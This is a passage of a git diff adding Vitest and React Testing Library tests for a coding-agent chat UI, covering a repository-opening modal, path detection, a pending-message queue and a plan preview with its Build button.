+          <button
+            key={p}
+            data-testid={`provider-${p}`}
+            onClick={() => onChange(p)}
+          >
+            {p}
+          </button>
+        ))}
+      </div>
+    ),
+  }),
+);
+
+// Mock GitRepoDropdown
+vi.mock(
+  "#/components/features/home/git-repo-dropdown/git-repo-dropdown",
+  () => ({
+    GitRepoDropdown: ({
+      onChange,
+    }: {
+      onChange: (repo?: {
+        id: number;
+        full_name: string;
+        git_provider: string;
+        main_branch: string;
+      }) => void;
+    }) => (
+      <button
+        data-testid="git-repo-dropdown"
+        onClick={() =>
+          onChange({
+            id: 1,
+            full_name: "owner/repo",
+            git_provider: "github",
+            main_branch: "main",
+          })
+        }
+      >
+        Mock Repo Dropdown
+      </button>
+    ),
+  }),
+);
+
+// Mock GitBranchDropdown
+vi.mock(
+  "#/components/features/home/git-branch-dropdown/git-branch-dropdown",
+  () => ({
+    GitBranchDropdown: ({
+      onBranchSelect,
+      disabled,
+    }: {
+      onBranchSelect: (branch: { name: string } | null) => void;
+      disabled: boolean;
+    }) => (
+      <button
+        data-testid="git-branch-dropdown"
+        disabled={disabled}
+        onClick={() => onBranchSelect({ name: "main" })}
+      >
+        Mock Branch Dropdown
+      </button>
+    ),
+  }),
+);
+
+// Mock RepoForkedIcon
+describe("OpenRepositoryModal", () => {
+  const mockOnClose = vi.fn();
+  const mockOnLaunch = vi.fn();
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockProviders.current = ["github"];
+  });
+
+  it("should not render when isOpen is false", () => {
+    render(
+      <OpenRepositoryModal
+        isOpen={false}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    expect(
+      screen.queryByText("CONVERSATION$OPEN_REPOSITORY"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should render modal with title and description when open", () => {
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    expect(
+      screen.getByText("CONVERSATION$OPEN_REPOSITORY"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("close-open-repository-modal"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText("CONVERSATION$SELECT_OR_INSERT_LINK"),
+    ).toBeInTheDocument();
+  });
+
+  it("calls onClose when the header close button is clicked", async () => {
+    const user = userEvent.setup();
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    await user.click(screen.getByTestId("close-open-repository-modal"));
+
+    expect(mockOnClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("should render Launch and Cancel buttons", () => {
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    expect(screen.getByText("BUTTON$LAUNCH")).toBeInTheDocument();
+    expect(screen.getByText("BUTTON$CANCEL")).toBeInTheDocument();
+  });
+
+  it("places Cancel before Launch in the footer so the dominant action is the last focusable button", () => {
+    // Arrange: render the modal so both footer buttons are mounted.
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    // Act: locate both footer buttons.
+    const cancel = screen.getByText("BUTTON$CANCEL");
+    const launch = screen.getByText("BUTTON$LAUNCH");
+
+    // Assert: Cancel precedes the dominant Launch action in DOM order.
+    // eslint-disable-next-line no-bitwise
+    expect(
+      cancel.compareDocumentPosition(launch) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+
+  it("should disable Launch button when no repository or branch is selected", () => {
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+    expect(launchButton).toBeDisabled();
+  });
+
+  it("should call onClose and reset state when Cancel is clicked", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    await user.click(screen.getByText("BUTTON$CANCEL"));
+    expect(mockOnClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("should enable Launch button after selecting repository and branch", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    // Select a repository
+    await user.click(screen.getByTestId("git-repo-dropdown"));
+
+    // Select a branch
+    await user.click(screen.getByTestId("git-branch-dropdown"));
+
+    const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+    expect(launchButton).not.toBeDisabled();
+  });
+
+  it("should call onLaunch with selected repository and branch, then close", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    // Select repository and branch
+    await user.click(screen.getByTestId("git-repo-dropdown"));
+    await user.click(screen.getByTestId("git-branch-dropdown"));
+
+    // Click Launch
+    await user.click(screen.getByText("BUTTON$LAUNCH"));
+
+    expect(mockOnLaunch).toHaveBeenCalledWith(
+      {
+        id: 1,
+        full_name: "owner/repo",
+        git_provider: "github",
+        main_branch: "main",
+      },
+      { name: "main" },
+    );
+    expect(mockOnClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("should not call onLaunch when Launch is clicked without selections", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    // Force click the launch button even though it's disabled
+    const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button")!;
+    await user.click(launchButton);
+
+    expect(mockOnLaunch).not.toHaveBeenCalled();
+  });
+
+  it("should reset branch selection when repository changes", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <OpenRepositoryModal
+        isOpen={true}
+        onClose={mockOnClose}
+        onLaunch={mockOnLaunch}
+      />,
+    );
+
+    // Select repository and branch
+    await user.click(screen.getByTestId("git-repo-dropdown"));
+    await user.click(screen.getByTestId("git-branch-dropdown"));
+
+    // Launch button should be enabled
+    let launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+    expect(launchButton).not.toBeDisabled();
+
+    // Select a new repository (resets branch)
+    await user.click(screen.getByTestId("git-repo-dropdown"));
+
+    // Launch button should be disabled again (branch was reset)
+    launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+    expect(launchButton).toBeDisabled();
+  });
+
+  describe("provider switching", () => {
+    it("should not show provider dropdown when only one provider exists", () => {
+      mockProviders.current = ["github"];
+
+      render(
+        <OpenRepositoryModal
+          isOpen={true}
+          onClose={mockOnClose}
+          onLaunch={mockOnLaunch}
+        />,
+      );
+
+      expect(
+        screen.queryByTestId("git-provider-dropdown"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("should show provider dropdown when multiple providers exist", () => {
+      mockProviders.current = ["github", "gitlab"];
+
+      render(
+        <OpenRepositoryModal
+          isOpen={true}
+          onClose={mockOnClose}
+          onLaunch={mockOnLaunch}
+        />,
+      );
+
+      expect(
+        screen.getByTestId("git-provider-dropdown"),
+      ).toBeInTheDocument();
+      expect(screen.getByTestId("provider-github")).toBeInTheDocument();
+      expect(screen.getByTestId("provider-gitlab")).toBeInTheDocument();
+    });
+
+    it("should reset repository and branch when provider changes", async () => {
+      mockProviders.current = ["github", "gitlab"];
+      const user = userEvent.setup();
+
+      render(
+        <OpenRepositoryModal
+          isOpen={true}
+          onClose={mockOnClose}
+          onLaunch={mockOnLaunch}
+        />,
+      );
+
+      // Select repo and branch
+      await user.click(screen.getByTestId("git-repo-dropdown"));
+      await user.click(screen.getByTestId("git-branch-dropdown"));
+
+      // Launch should be enabled
+      let launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+      expect(launchButton).not.toBeDisabled();
+
+      // Switch provider — should reset selections
+      await user.click(screen.getByTestId("provider-gitlab"));
+
+      // Launch should be disabled (repo and branch reset)
+      launchButton = screen.getByText("BUTTON$LAUNCH").closest("button");
+      expect(launchButton).toBeDisabled();
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/path-component.test.tsx b/__tests__/components/features/chat/path-component.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3fe3411b08ef40e4e198f0b578f70bd392f7ffb2
--- /dev/null
+++ b/__tests__/components/features/chat/path-component.test.tsx
@@ -0,0 +1,65 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import {
+  isLikelyDirectory,
+  PathComponent,
+} from "#/components/features/chat/path-component";
+
+const openWorkspaceFile = vi.fn();
+
+vi.mock("#/services/canvas-ui", () => ({
+  openWorkspaceFile: (...args: unknown[]) => openWorkspaceFile(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+describe("isLikelyDirectory", () => {
+  it("should return false for empty path", () => {
+    expect(isLikelyDirectory("")).toBe(false);
+  });
+
+  it("should return true for paths ending with forward slash", () => {
+    expect(isLikelyDirectory("/path/to/dir/")).toBe(true);
+    expect(isLikelyDirectory("dir/")).toBe(true);
+  });
+
+  it("should return true for paths ending with backslash", () => {
+    expect(isLikelyDirectory("C:\\path\\to\\dir\\")).toBe(true);
+    expect(isLikelyDirectory("dir\\")).toBe(true);
+  });
+
+  it("should return true for paths without extension", () => {
+    expect(isLikelyDirectory("/path/to/dir")).toBe(true);
+    expect(isLikelyDirectory("dir")).toBe(true);
+  });
+
+  it("should return false for paths ending with dot", () => {
+    expect(isLikelyDirectory("/path/to/dir.")).toBe(false);
+    expect(isLikelyDirectory("dir.")).toBe(false);
+  });
+
+  it("should return false for paths with file extensions", () => {
+    expect(isLikelyDirectory("/path/to/file.txt")).toBe(false);
+    expect(isLikelyDirectory("file.js")).toBe(false);
+    expect(isLikelyDirectory("script.test.ts")).toBe(false);
+  });
+});
+
+describe("PathComponent", () => {
+  beforeEach(() => {
+    openWorkspaceFile.mockClear();
+  });
+
+  it("opens the workspace file when the path is clicked", async () => {
+    const user = userEvent.setup();
+    const path = "docs/test.md";
+    render(<PathComponent>{path}</PathComponent>);
+
+    await user.click(screen.getByTestId("path-component-link"));
+
+    expect(openWorkspaceFile).toHaveBeenCalledWith(path, "conv-1");
+  });
+});
diff --git a/__tests__/components/features/chat/pending-user-messages.test.tsx b/__tests__/components/features/chat/pending-user-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8017e7d8168124e82871598213e676af0d897a36
--- /dev/null
+++ b/__tests__/components/features/chat/pending-user-messages.test.tsx
@@ -0,0 +1,219 @@
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen, waitFor, fireEvent } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { PendingUserMessages } from "#/components/features/chat/pending-user-messages";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const ACTIVE_CONVO = "conv-active";
+
+const mockSend = vi.fn();
+vi.mock("#/hooks/use-send-message", () => ({
+  useSendMessage: () => ({ send: mockSend }),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: ACTIVE_CONVO }),
+  useConversationId: () => ({ conversationId: ACTIVE_CONVO }),
+}));
+
+describe("PendingUserMessages", () => {
+  beforeEach(() => {
+    mockSend.mockReset();
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    useConversationStore.setState({
+      messageRestoreIfEmpty: null,
+      messageToSend: null,
+    });
+  });
+
+  afterEach(() => {
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+  });
+
+  it("renders nothing when the queue is empty", () => {
+    const { container } = render(<PendingUserMessages />);
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders each queued message with the sending treatment", () => {
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: ACTIVE_CONVO,
+      text: "first message",
+    });
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: ACTIVE_CONVO,
+      text: "second message",
+    });
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const messages = screen.getAllByTestId("user-message");
+    expect(messages).toHaveLength(2);
+    expect(messages[0]).toHaveTextContent("first message");
+    expect(messages[1]).toHaveTextContent("second message");
+    messages.forEach((message) => {
+      expect(message).toHaveAttribute("data-pending-status", "sending");
+    });
+    expect(screen.getAllByTestId("chat-message-sending")).toHaveLength(2);
+  });
+
+  it("ignores pending entries belonging to a different conversation", () => {
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: ACTIVE_CONVO,
+      text: "mine",
+    });
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: "other-convo",
+      text: "from another conversation",
+    });
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const messages = screen.getAllByTestId("user-message");
+    expect(messages).toHaveLength(1);
+    expect(messages[0]).toHaveTextContent("mine");
+    expect(screen.queryByText("from another conversation")).toBeNull();
+  });
+
+  it("removes a sending message when stop is clicked", async () => {
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: ACTIVE_CONVO,
+      text: "cancel me",
+    });
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const message = screen.getByTestId("user-message");
+    fireEvent.mouseEnter(message);
+    await waitFor(() => {
+      expect(screen.getByTestId("chat-message-stop")).toBeVisible();
+    });
+    fireEvent.click(screen.getByTestId("chat-message-stop"));
+
+    await waitFor(() => {
+      expect(screen.queryByTestId("user-message")).not.toBeInTheDocument();
+    });
+    expect(useOptimisticUserMessageStore.getState().pendingMessages).toHaveLength(
+      0,
+    );
+    expect(useConversationStore.getState().messageRestoreIfEmpty).toEqual(
+      expect.objectContaining({ text: "cancel me" }),
+    );
+  });
+
+  it("keeps the stop button out of the bubble layout while sending", () => {
+    useOptimisticUserMessageStore.getState().enqueuePendingMessage({
+      conversationId: ACTIVE_CONVO,
+      text: "hold my spot",
+    });
+
+    renderWithProviders(<PendingUserMessages />);
+
+    expect(screen.getByTestId("chat-message-stop")).toHaveClass("opacity-0");
+  });
+
+  it("shows an error state with a retry link when the message is in 'error'", () => {
+    const id = useOptimisticUserMessageStore
+      .getState()
+      .enqueuePendingMessage({
+        conversationId: ACTIVE_CONVO,
+        text: "broken message",
+      });
+    useOptimisticUserMessageStore
+      .getState()
+      .markPendingMessageError(id, "Server unavailable");
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const message = screen.getByTestId("user-message");
+    expect(message).toHaveAttribute("data-pending-status", "error");
+    expect(screen.getByTestId("chat-message-error")).toBeInTheDocument();
+    expect(screen.getByTestId("chat-message-retry")).toBeInTheDocument();
+    expect(screen.getByTestId("chat-message-dismiss")).toBeInTheDocument();
+  });
+
+  it("removes a failed message when dismiss is clicked", async () => {
+    const id = useOptimisticUserMessageStore
+      .getState()
+      .enqueuePendingMessage({
+        conversationId: ACTIVE_CONVO,
+        text: "dismiss me",
+      });
+    useOptimisticUserMessageStore
+      .getState()
+      .markPendingMessageError(id, "Server unavailable");
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("chat-message-dismiss"));
+
+    await waitFor(() => {
+      expect(screen.queryByTestId("user-message")).not.toBeInTheDocument();
+    });
+    expect(useOptimisticUserMessageStore.getState().pendingMessages).toHaveLength(
+      0,
+    );
+  });
+
+  it("re-sends and flips back to 'sending' when retry is clicked", async () => {
+    mockSend.mockResolvedValueOnce({ queued: false });
+    const id = useOptimisticUserMessageStore
+      .getState()
+      .enqueuePendingMessage({
+        conversationId: ACTIVE_CONVO,
+        text: "retry me",
+      });
+    useOptimisticUserMessageStore
+      .getState()
+      .markPendingMessageError(id, "Server unavailable");
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("chat-message-retry"));
+
+    expect(mockSend).toHaveBeenCalledTimes(1);
+    expect(mockSend).toHaveBeenCalledWith(
+      expect.objectContaining({
+        action: "message",
+        args: expect.objectContaining({ content: "retry me" }),
+      }),
+    );
+
+    await waitFor(() => {
+      const [entry] =
+        useOptimisticUserMessageStore.getState().pendingMessages;
+      expect(entry.status).toBe("sending");
+      expect(entry.errorMessage).toBeUndefined();
+    });
+  });
+
+  it("flips back to 'error' if the retry attempt also fails", async () => {
+    mockSend.mockRejectedValueOnce(new Error("still broken"));
+    const id = useOptimisticUserMessageStore
+      .getState()
+      .enqueuePendingMessage({
+        conversationId: ACTIVE_CONVO,
+        text: "retry me",
+      });
+    useOptimisticUserMessageStore
+      .getState()
+      .markPendingMessageError(id, "Server unavailable");
+
+    renderWithProviders(<PendingUserMessages />);
+
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("chat-message-retry"));
+
+    await waitFor(() => {
+      const [entry] =
+        useOptimisticUserMessageStore.getState().pendingMessages;
+      expect(entry.status).toBe("error");
+      expect(entry.errorMessage).toBe("still broken");
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/plan-preview.test.tsx b/__tests__/components/features/chat/plan-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c48a09c48d0e11d77045f3cce0c839369e0db299
--- /dev/null
+++ b/__tests__/components/features/chat/plan-preview.test.tsx
@@ -0,0 +1,426 @@
+import React from "react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { PlanPreview } from "#/components/features/chat/plan-preview";
+import { ScrollProvider } from "#/context/scroll-context";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { createChatMessage } from "#/services/chat-service";
+
+// PlanPreview uses useScrollContext; wrap with ScrollProvider and a mock value.
+const mockScrollDomToBottom = vi.fn();
+const scrollContextValue = {
+  scrollRef: { current: null },
+  autoScroll: true,
+  setAutoScroll: vi.fn(),
+  scrollDomToBottom: mockScrollDomToBottom,
+  hitBottom: true,
+  setHitBottom: vi.fn(),
+  onChatBodyScroll: vi.fn(),
+};
+
+function renderPlanPreview(ui: React.ReactElement) {
+  return renderWithProviders(
+    <ScrollProvider value={scrollContextValue}>{ui}</ScrollProvider>,
+  );
+}
+
+// Mock i18n - need to preserve initReactI18next and I18nextProvider for test-utils
+vi.mock("react-i18next", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("react-i18next")>();
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string) => key,
+    }),
+  };
+});
+
+// Mock services (underlying dependencies of the hook)
+const mockSend = vi.fn().mockResolvedValue({ queued: false });
+
+vi.mock("#/hooks/use-send-message", () => ({
+  useSendMessage: vi.fn(() => ({
+    send: mockSend,
+  })),
+}));
+
+vi.mock("#/services/chat-service", () => ({
+  createChatMessage: vi.fn((content, imageUrls, fileUrls, timestamp) => ({
+    action: "message",
+    args: { content, image_urls: imageUrls, file_urls: fileUrls, timestamp },
+  })),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+describe("PlanPreview", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockSend.mockResolvedValue({ queued: false });
+    // Reset store states
+    localStorage.clear();
+    useOptimisticUserMessageStore.setState({
+      pendingMessages: [],
+    });
+    useConversationStore.setState({
+      conversationMode: "plan",
+      selectedTab: null,
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+    // Clean up store states
+    useConversationStore.setState({
+      conversationMode: "code",
+    });
+    useOptimisticUserMessageStore.setState({
+      pendingMessages: [],
+    });
+    localStorage.clear();
+  });
+
+  it("should render nothing when planContent is null", () => {
+    // Arrange & Act
+    const { container } = renderPlanPreview(<PlanPreview planContent={null} />);
+
+    // Assert
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("should render nothing when planContent is undefined", () => {
+    // Arrange & Act
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={undefined} />,
+    );
+
+    // Assert
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("should render markdown content when planContent is provided", () => {
+    const planContent = "# Plan Title\n\nThis is the plan content.";
+
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    // Check that component rendered and contains the content (markdown may break up text)
+    expect(container.firstChild).not.toBeNull();
+    expect(container.textContent).toContain("Plan Title");
+    expect(container.textContent).toContain("This is the plan content.");
+  });
+
+  it("should render full content when length is less than or equal to 300 characters", () => {
+    const planContent = "A".repeat(300);
+
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    // Content should be present (may be broken up by markdown)
+    expect(container.textContent).toContain(planContent);
+    expect(screen.queryByText(/COMMON\$READ_MORE/i)).not.toBeInTheDocument();
+  });
+
+  it("should truncate content when length exceeds 300 characters", () => {
+    const longContent = "A".repeat(350);
+
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={longContent} />,
+    );
+
+    // Truncated content should be present (may be broken up by markdown)
+    expect(container.textContent).toContain("A".repeat(300));
+    expect(container.textContent).toContain("...");
+    expect(container.textContent).toContain("COMMON$READ_MORE");
+  });
+
+  it("should render Build button", () => {
+    renderPlanPreview(<PlanPreview planContent="Plan content" />);
+
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+    expect(buildButton).toBeInTheDocument();
+  });
+
+  it("should switch to code mode when Build button is clicked", async () => {
+    // Arrange
+    useConversationStore.setState({ conversationMode: "plan" });
+    const user = userEvent.setup();
+    renderPlanPreview(<PlanPreview planContent="Plan content" />);
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Act
+    await user.click(buildButton);
+
+    // Assert
+    expect(useConversationStore.getState().conversationMode).toBe("code");
+  });
+
+  it("should send build prompt message when Build button is clicked", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const expectedPrompt =
+      "Execute the plan based on the .agents_tmp/PLAN.md file.";
+    renderPlanPreview(<PlanPreview planContent="Plan content" />);
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Act
+    await user.click(buildButton);
+
+    // Assert
+    expect(createChatMessage).toHaveBeenCalledTimes(1);
+    expect(createChatMessage).toHaveBeenCalledWith(
+      expectedPrompt,
+      [],
+      [],
+      expect.any(String),
+    );
+    expect(mockSend).toHaveBeenCalledTimes(1);
+    expect(mockSend).toHaveBeenCalledWith(
+      expect.objectContaining({
+        action: "message",
+        args: expect.objectContaining({
+          content: expectedPrompt,
+        }),
+      }),
+    );
+  });
+
+  it("should enqueue a pending user message when Build button is clicked", async () => {
+    // Arrange
+    useOptimisticUserMessageStore.setState({ pendingMessages: [] });
+    const user = userEvent.setup();
+    const expectedPrompt =
+      "Execute the plan based on the .agents_tmp/PLAN.md file.";
+    renderPlanPreview(<PlanPreview planContent="Plan content" />);
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Act
+    await user.click(buildButton);
+
+    // Assert
+    const pending = useOptimisticUserMessageStore.getState().pendingMessages;
+    expect(pending).toHaveLength(1);
+    expect(pending[0].text).toBe(expectedPrompt);
+    expect(pending[0].status).toBe("sending");
+  });
+
+  it("should disable Build button when isBuildDisabled is true", () => {
+    // Arrange
+    renderPlanPreview(
+      <PlanPreview planContent="Plan content" isBuildDisabled={true} />,
+    );
+
+    // Act
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Assert
+    expect(buildButton).toBeDisabled();
+  });
+
+  it("should not disable Build button when isBuildDisabled is false", () => {
+    // Arrange
+    renderPlanPreview(
+      <PlanPreview planContent="Plan content" isBuildDisabled={false} />,
+    );
+
+    // Act
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Assert
+    expect(buildButton).not.toBeDisabled();
+  });
+
+  it("should not disable Build button when isBuildDisabled is undefined", () => {
+    // Arrange
+    renderPlanPreview(<PlanPreview planContent="Plan content" />);
+
+    // Act
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Assert
+    expect(buildButton).not.toBeDisabled();
+  });
+
+  it("should not call onBuildClick when Build button is disabled and clicked", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const onBuildClick = vi.fn();
+
+    renderPlanPreview(
+      <PlanPreview planContent="Plan content" isBuildDisabled={true} />,
+    );
+
+    const buildButton = screen.getByTestId("plan-preview-build-button");
+
+    // Act
+    await user.click(buildButton);
+
+    // Assert
+    expect(onBuildClick).not.toHaveBeenCalled();
+  });
+
+  it("should render header with PLAN_MD text", () => {
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent="Plan content" />,
+    );
+
+    // Check that the translation key is rendered (i18n mock returns the key)
+    expect(container.textContent).toContain("COMMON$PLAN_MD");
+  });
+
+  it("should render plan content", () => {
+    const planContent = `# Heading 1
+## Heading 2
+- List item 1
+- List item 2
+
+**Bold text** and *italic text*`;
+
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    expect(container.textContent).toContain("Heading 1");
+    expect(container.textContent).toContain("Heading 2");
+  });
+
+  it("should use planHeadings components for h1 headings", () => {
+    // Arrange
+    const planContent = "# Main Title";
+
+    // Act
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    // Assert
+    const h1 = container.querySelector("h1");
+    expect(h1).toBeInTheDocument();
+    expect(h1).toHaveTextContent("Main Title");
+  });
+
+  it("should use planHeadings components for h2 headings", () => {
+    // Arrange
+    const planContent = "## Section Title";
+
+    // Act
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    // Assert
+    const h2 = container.querySelector("h2");
+    expect(h2).toBeInTheDocument();
+    expect(h2).toHaveTextContent("Section Title");
+  });
+
+  it("should use planHeadings components for h3 headings", () => {
+    // Arrange
+    const planContent = "### Subsection Title";
+
+    // Act
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    // Assert
+    const h3 = container.querySelector("h3");
+    expect(h3).toBeInTheDocument();
+    expect(h3).toHaveTextContent("Subsection Title");
+  });
+
+  it("should use planHeadings components for all heading levels", () => {
+    // Arrange
+    const planContent = `# H1 Title
+## H2 Title
+### H3 Title
+#### H4 Title
+##### H5 Title
+###### H6 Title`;
+
+    // Act
+    const { container } = renderPlanPreview(
+      <PlanPreview planContent={planContent} />,
+    );
+
+    // Assert
+    expect(container.querySelector("h1")).toBeInTheDocument();
+    expect(container.querySelector("h2")).toBeInTheDocument();
+    expect(container.querySelector("h3")).toBeInTheDocument();
+    expect(container.querySelector("h4")).toBeInTheDocument();
+    expect(container.querySelector("h5")).toBeInTheDocument();
+    expect(container.querySelector("h6")).toBeInTheDocument();
+  });
+
+  it("should call selectTab with 'planner' when View button is clicked", async () => {
+    const user = userEvent.setup();
+    const planContent = "Plan content";
+    const conversationId = "test-conversation-id";
+
+    // Arrange: Set up initial state
+    useConversationStore.setState({
+      selectedTab: null,
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+
+    renderPlanPreview(<PlanPreview planContent={planContent} />);
+
+    // Act: Click the View button
+    const viewButton = screen.getByTestId("plan-preview-view-button");
+    await user.click(viewButton);
+
+    // Assert: selectTab was called with 'planner' and the drawer opened.
+    // Opening the drawer also mirrors `rightPanelShown` into the
+    // conversation's localStorage blob, alongside the selected tab.
+    expect(useConversationStore.getState().selectedTab).toBe("planner");
+    expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+    const storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${conversationId}`)!,
+    );
+    expect(storedState.selectedTab).toBe("planner");
+    expect(storedState.rightPanelShown).toBe(true);
+  });
+
+  it("should call selectTab with 'planner' when Read more button is clicked", async () => {
+    const user = userEvent.setup();
+    const longContent = "A".repeat(350);
+    const conversationId = "test-conversation-id";
+
+    // Arrange: Set up initial state
+    useConversationStore.setState({
+      selectedTab: null,
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+
+    renderPlanPreview(<PlanPreview planContent={longContent} />);
+
+    // Act: Click the Read more button
+    const readMoreButton = screen.getByTestId("plan-preview-read-more-button");
+    await user.click(readMoreButton);
+
+    // Assert: selectTab was called with 'planner' and the drawer opened.
+    // Opening the drawer also mirrors `rightPanelShown` into the
+    // conversation's localStorage blob, alongside the selected tab.
+    expect(useConversationStore.getState().selectedTab).toBe("planner");
+    expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+    const storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${conversationId}`)!,
+    );
+    expect(storedState.selectedTab).toBe("planner");
+    expect(storedState.rightPanelShown).toBe(true);
+  });
+});
diff --git a/__tests__/components/features/chat/skill-install-restart-banner.test.tsx b/__tests__/components/features/chat/skill-install-restart-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b97cc2ac13cae67cedcb1faf82050e637d6fb801
--- /dev/null
+++ b/__tests__/components/features/chat/skill-install-restart-banner.test.tsx
@@ -0,0 +1,188 @@
+import { act, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { SkillInstallRestartBanner } from "#/components/features/chat/skill-install-restart-banner";
